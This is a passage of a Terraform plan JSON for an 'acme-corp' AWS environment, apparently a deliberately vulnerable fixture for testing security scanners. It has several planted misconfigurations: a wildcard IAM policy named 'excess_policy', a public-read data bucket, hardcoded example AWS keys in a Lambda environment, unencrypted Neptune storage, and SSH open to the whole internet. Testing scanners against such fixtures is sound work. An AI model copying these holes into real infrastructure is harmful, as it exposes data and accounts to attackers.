\"123456789123-acme-corp-iam-for-eks\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role_policy_attachment\",\n      \"name\": \"policy_attachment-AmazonEKSServicePolicy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"policy_arn\": \"arn:aws:iam::aws:policy/AmazonEKSServicePolicy\",\n          \"role\": \"123456789123-acme-corp-iam-for-eks\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_user.user\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_user\",\n      \"name\": \"user\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"force_destroy\": true,\n          \"name\": \"123456789123-acme-corp-user\",\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-user\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"tags\": {},\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_user_policy.userpolicy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_user_policy\",\n      \"name\": \"userpolicy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"excess_policy\",\n          \"name_prefix\": null,\n          \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"ec2:*\\\",\\n        \\\"s3:*\\\",\\n        \\\"lambda:*\\\",\\n        \\\"cloudwatch:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\",\n          \"user\": \"123456789123-acme-corp-user\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_instance.db_app\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_instance\",\n      \"name\": \"db_app\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"ami\": \"ami-0f0a6d00932023856\",\n          \"credit_specification\": [],\n          \"disable_api_termination\": null,\n          \"ebs_optimized\": null,\n          \"get_password_data\": false,\n          \"hibernation\": null,\n          \"iam_instance_profile\": \"123456789123-acme-corp-profile\",\n          \"instance_initiated_shutdown_behavior\": null,\n          \"instance_type\": \"t2.nano\",\n          \"monitoring\": null,\n          \"source_dest_check\": true,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-dbapp\"\n          },\n          \"timeouts\": null,\n          \"user_data_base64\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"associate_public_ip_address\": true,\n          \"availability_zone\": true,\n          \"cpu_core_count\": true,\n          \"cpu_threads_per_core\": true,\n          \"credit_specification\": [],\n          \"ebs_block_device\": true,\n          \"ephemeral_block_device\": true,\n          \"host_id\": true,\n          \"id\": true,\n          \"instance_state\": true,\n          \"ipv6_address_count\": true,\n          \"ipv6_addresses\": true,\n          \"key_name\": true,\n          \"metadata_options\": true,\n          \"network_interface\": true,\n          \"outpost_arn\": true,\n          \"password_data\": true,\n          \"placement_group\": true,\n          \"primary_network_interface_id\": true,\n          \"private_dns\": true,\n          \"private_ip\": true,\n          \"public_dns\": true,\n          \"public_ip\": true,\n          \"root_block_device\": true,\n          \"secondary_private_ips\": true,\n          \"security_groups\": true,\n          \"subnet_id\": true,\n          \"tags\": {},\n          \"tenancy\": true,\n          \"user_data\": true,\n          \"volume_tags\": true,\n          \"vpc_security_group_ids\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_instance.web_host\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_instance\",\n      \"name\": \"web_host\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"ami\": \"ami-09a5b0b7edf08843d\",\n          \"credit_specification\": [],\n          \"disable_api_termination\": null,\n          \"ebs_optimized\": null,\n          \"get_password_data\": false,\n          \"hibernation\": null,\n          \"iam_instance_profile\": null,\n          \"instance_initiated_shutdown_behavior\": null,\n          \"instance_type\": \"t2.nano\",\n          \"monitoring\": null,\n          \"source_dest_check\": true,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-ec2\"\n          },\n          \"timeouts\": null,\n          \"user_data\": \"44c6c808e6449ee36dfcfc4ebd66c1b9634b40f2\",\n          \"user_data_base64\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"associate_public_ip_address\": true,\n          \"availability_zone\": true,\n          \"cpu_core_count\": true,\n          \"cpu_threads_per_core\": true,\n          \"credit_specification\": [],\n          \"ebs_block_device\": true,\n          \"ephemeral_block_device\": true,\n          \"host_id\": true,\n          \"id\": true,\n          \"instance_state\": true,\n          \"ipv6_address_count\": true,\n          \"ipv6_addresses\": true,\n          \"key_name\": true,\n          \"metadata_options\": true,\n          \"network_interface\": true,\n          \"outpost_arn\": true,\n          \"password_data\": true,\n          \"placement_group\": true,\n          \"primary_network_interface_id\": true,\n          \"private_dns\": true,\n          \"private_ip\": true,\n          \"public_dns\": true,\n          \"public_ip\": true,\n          \"root_block_device\": true,\n          \"secondary_private_ips\": true,\n          \"security_groups\": true,\n          \"subnet_id\": true,\n          \"tags\": {},\n          \"tenancy\": true,\n          \"volume_tags\": true,\n          \"vpc_security_group_ids\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_internet_gateway.web_igw\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_internet_gateway\",\n      \"name\": \"web_igw\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-igw\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_kms_alias.logs_key_alias\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_kms_alias\",\n      \"name\": \"logs_key_alias\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"alias/123456789123-acme-corp-logs-bucket-key\",\n          \"name_prefix\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"target_key_arn\": true,\n          \"target_key_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_kms_key.logs_key\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_kms_key\",\n      \"name\": \"logs_key\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"customer_master_key_spec\": \"SYMMETRIC_DEFAULT\",\n          \"deletion_window_in_days\": 7,\n          \"description\": \"123456789123-acme-corp-logs bucket key\",\n          \"enable_key_rotation\": false,\n          \"is_enabled\": true,\n          \"key_usage\": \"ENCRYPT_DECRYPT\",\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"key_id\": true,\n          \"policy\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_lambda_function.analysis_lambda\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_lambda_function\",\n      \"name\": \"analysis_lambda\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"dead_letter_config\": [],\n          \"description\": null,\n          \"environment\": [\n            {\n              \"variables\": {\n                \"access_key\": \"AKIAIOSFODNN7EXAMPLE\",\n                \"secret_key\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n              }\n            }\n          ],\n          \"file_system_config\": [],\n          \"filename\": \"resources/lambda_function_payload.zip\",\n          \"function_name\": \"123456789123-acme-corp-analysis\",\n          \"handler\": \"exports.test\",\n          \"kms_key_arn\": null,\n          \"layers\": null,\n          \"memory_size\": 128,\n          \"publish\": false,\n          \"reserved_concurrent_executions\": -1,\n          \"runtime\": \"nodejs12.x\",\n          \"s3_bucket\": null,\n          \"s3_key\": null,\n          \"s3_object_version\": null,\n          \"source_code_hash\": \"Fne61Y/F2pmVywaVqIYcztFMK3LNeMJKpWFNnxDdGTw=\",\n          \"tags\": null,\n          \"timeout\": 3,\n          \"timeouts\": null,\n          \"vpc_config\": []\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"dead_letter_config\": [],\n          \"environment\": [\n            {\n              \"variables\": {}\n            }\n          ],\n          \"file_system_config\": [],\n          \"id\": true,\n          \"invoke_arn\": true,\n          \"last_modified\": true,\n          \"qualified_arn\": true,\n          \"role\": true,\n          \"source_code_size\": true,\n          \"tracing_config\": true,\n          \"version\": true,\n          \"vpc_config\": []\n        }\n      }\n    },\n    {\n      \"address\": \"aws_neptune_cluster.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_neptune_cluster\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"apply_immediately\": true,\n          \"backup_retention_period\": 5,\n          \"cluster_identifier\": \"neptunedb1\",\n          \"deletion_protection\": null,\n          \"enable_cloudwatch_logs_exports\": null,\n          \"engine\": \"neptune\",\n          \"final_snapshot_identifier\": null,\n          \"iam_database_authentication_enabled\": false,\n          \"iam_roles\": null,\n          \"neptune_cluster_parameter_group_name\": \"default.neptune1\",\n          \"port\": 8182,\n          \"preferred_backup_window\": \"07:00-09:00\",\n          \"replication_source_identifier\": null,\n          \"skip_final_snapshot\": true,\n          \"snapshot_identifier\": null,\n          \"storage_encrypted\": false,\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zones\": true,\n          \"cluster_identifier_prefix\": true,\n          \"cluster_members\": true,\n          \"cluster_resource_id\": true,\n          \"endpoint\": true,\n          \"engine_version\": true,\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"kms_key_arn\": true,\n          \"neptune_subnet_group_name\": true,\n          \"preferred_maintenance_window\": true,\n          \"reader_endpoint\": true,\n          \"vpc_security_group_ids\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_neptune_cluster_instance.default[0]\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_neptune_cluster_instance\",\n      \"name\": \"default\",\n      \"index\": 0,\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"apply_immediately\": true,\n          \"auto_minor_version_upgrade\": true,\n          \"engine\": \"neptune\",\n          \"instance_class\": \"db.t3.medium\",\n          \"neptune_parameter_group_name\": \"default.neptune1\",\n          \"port\": 8182,\n          \"promotion_tier\": 0,\n          \"publicly_accessible\": false,\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"address\": true,\n          \"arn\": true,\n          \"availability_zone\": true,\n          \"cluster_identifier\": true,\n          \"dbi_resource_id\": true,\n          \"endpoint\": true,\n          \"engine_version\": true,\n          \"id\": true,\n          \"identifier\": true,\n          \"identifier_prefix\": true,\n          \"kms_key_arn\": true,\n          \"neptune_subnet_group_name\": true,\n          \"preferred_backup_window\": true,\n          \"preferred_maintenance_window\": true,\n          \"storage_encrypted\": true,\n          \"writer\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_neptune_cluster_snapshot.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_neptune_cluster_snapshot\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"db_cluster_snapshot_identifier\": \"resourcetestsnapshot1\",\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"allocated_storage\": true,\n          \"availability_zones\": true,\n          \"db_cluster_identifier\": true,\n          \"db_cluster_snapshot_arn\": true,\n          \"engine\": true,\n          \"engine_version\": true,\n          \"id\": true,\n          \"kms_key_id\": true,\n          \"license_model\": true,\n          \"port\": true,\n          \"snapshot_type\": true,\n          \"source_db_cluster_snapshot_arn\": true,\n          \"status\": true,\n          \"storage_encrypted\": true,\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_network_interface.web-eni\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_network_interface\",\n      \"name\": \"web-eni\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": null,\n          \"private_ips\": [\n            \"172.16.10.100\"\n          ],\n          \"source_dest_check\": true,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-primary_network_interface\"\n          }\n        },\n        \"after_unknown\": {\n          \"attachment\": true,\n          \"id\": true,\n          \"ipv6_address_count\": true,\n          \"ipv6_addresses\": true,\n          \"mac_address\": true,\n          \"outpost_arn\": true,\n          \"private_dns_name\": true,\n          \"private_ip\": true,\n          \"private_ips\": [\n            false\n          ],\n          \"private_ips_count\": true,\n          \"security_groups\": true,\n          \"subnet_id\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_route.public_internet_gateway\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route\",\n      \"name\": \"public_internet_gateway\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"destination_cidr_block\": \"0.0.0.0/0\",\n          \"destination_ipv6_cidr_block\": null,\n          \"timeouts\": {\n            \"create\": \"5m\",\n            \"delete\": null\n          },\n          \"transit_gateway_id\": null,\n          \"vpc_peering_connection_id\": null\n        },\n        \"after_unknown\": {\n          \"destination_prefix_list_id\": true,\n          \"egress_only_gateway_id\": true,\n          \"gateway_id\": true,\n          \"id\": true,\n          \"instance_id\": true,\n          \"instance_owner_id\": true,\n          \"local_gateway_id\": true,\n          \"nat_gateway_id\": true,\n          \"network_interface_id\": true,\n          \"origin\": true,\n          \"route_table_id\": true,\n          \"state\": true,\n          \"timeouts\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_route_table.web_rtb\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route_table\",\n      \"name\": \"web_rtb\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-rtb\"\n          }\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"owner_id\": true,\n          \"propagating_vgws\": true,\n          \"route\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_route_table_association.rtbassoc\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route_table_association\",\n      \"name\": \"rtbassoc\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"gateway_id\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"route_table_id\": true,\n          \"subnet_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_route_table_association.rtbassoc2\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route_table_association\",\n      \"name\": \"rtbassoc2\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"gateway_id\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"route_table_id\": true,\n          \"subnet_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.data\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"data\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"public-read\",\n          \"bucket\": \"123456789123-acme-corp-data\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-data\"\n          },\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {},\n          \"versioning\": true,\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.data_science\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"data_science\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"bucket\": \"123456789123-acme-corp-data-science\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [\n            {\n              \"target_prefix\": \"log/\"\n            }\n          ],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": null,\n          \"versioning\": [\n            {\n              \"enabled\": true,\n              \"mfa_delete\": false\n            }\n          ],\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [\n            {\n              \"target_bucket\": true\n            }\n          ],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"versioning\": [\n            {}\n          ],\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.financials\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"financials\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"bucket\": \"123456789123-acme-corp-financials\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-financials\"\n          },\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {},\n          \"versioning\": true,\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.flowbucket\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"flowbucket\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"bucket\": \"123456789123-acme-corp-flowlogs\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-flowlogs\"\n          },\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {},\n          \"versioning\": true,\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.logs\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"logs\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"log-delivery-write\",\n          \"bucket\": \"123456789123-acme-corp-logs\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [\n            {\n              \"rule\": [\n                {\n                  \"apply_server_side_encryption_by_default\": [\n                    {\n                      \"sse_algorithm\": \"aws:kms\"\n                    }\n                  ]\n                }\n              ]\n            }\n          ],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-logs\"\n          },\n          \"versioning\": [\n            {\n              \"enabled\": true,\n              \"mfa_delete\": false\n            }\n          ],\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [\n            {\n              \"rule\": [\n                {\n                  \"apply_server_side_encryption_by_default\": [\n                    {\n                      \"kms_master_key_id\": true\n                    }\n                  ]\n                }\n              ]\n            }\n          ],\n          \"tags\": {},\n          \"versioning\": [\n            {}\n          ],\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.operations\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"operations\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"bucket\": \"123456789123-acme-corp-operations\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-operations\"\n          },\n          \"versioning\": [\n            {\n              \"enabled\": true,\n              \"mfa_delete\": false\n            }\n          ],\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {},\n          \"versioning\": [\n            {}\n          ],\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket_object.data_object\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket_object\",\n      \"name\": \"data_object\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"cache_control\": null,\n          \"content\": null,\n          \"content_base64\": null,\n          \"content_disposition\": null,\n          \"content_encoding\": null,\n          \"content_language\": null,\n          \"force_destroy\": false,\n          \"key\": \"customer-master.xlsx\",\n          \"metadata\": null,\n          \"object_lock_legal_hold_status\": null,\n          \"object_lock_mode\": null,\n          \"object_lock_retain_until_date\": null,\n          \"source\": \"resources/customer-master.xlsx\",\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-customer-master\"\n          },\n          \"website_redirect\": null\n        },\n        \"after_unknown\": {\n          \"bucket\": true,\n          \"content_type\": true,\n          \"etag\": true,\n          \"id\": true,\n          \"kms_key_id\": true,\n          \"server_side_encryption\": true,\n          \"storage_class\": true,\n          \"tags\": {},\n          \"version_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_security_group.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"Managed by Terraform\",\n          \"name\": \"123456789123-acme-corp-rds-sg\",\n          \"name_prefix\": null,\n          \"revoke_rules_on_delete\": false,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-rds-sg\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"egress\": true,\n          \"id\": true,\n          \"ingress\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_security_group.web-node\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group\",\n      \"name\": \"web-node\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"123456789123-acme-corp Security Group\",\n          \"egress\": [\n            {\n              \"cidr_blocks\": [\n                \"0.0.0.0/0\"\n              ],\n              \"description\": \"\",\n              \"from_port\": 0,\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"protocol\": \"-1\",\n              \"security_groups\": [],\n              \"self\": false,\n              \"to_port\": 0\n            }\n          ],\n          \"ingress\": [\n            {\n              \"cidr_blocks\": [\n                \"0.0.0.0/0\"\n              ],\n              \"description\": \"\",\n              \"from_port\": 22,\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"protocol\": \"tcp\",\n              \"security_groups\": [],\n              \"self\": false,\n              \"to_port\": 22\n            },\n            {\n              \"cidr_blocks\": [\n                \"0.0.0.0/0\"\n              ],\n              \"description\": \"\",\n              \"from_port\": 80,\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"protocol\": \"tcp\",\n              \"security_groups\": [],\n              \"self\": false,\n              \"to_port\": 80\n            }\n          ],\n          \"name\": \"123456789123-acme-corp-sg\",\n          \"name_prefix\": null,\n          \"revoke_rules_on_delete\": false,\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"egress\": [\n            {\n              \"cidr_blocks\": [\n                false\n              ],\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"security_groups\": []\n            }\n          ],\n          \"id\": true,\n          \"ingress\": [\n            {\n              \"cidr_blocks\": [\n                false\n              ],\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"security_groups\": []\n            },\n            {\n              \"cidr_blocks\": [\n                false\n              ],\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"security_groups\": []\n            }\n          ],\n          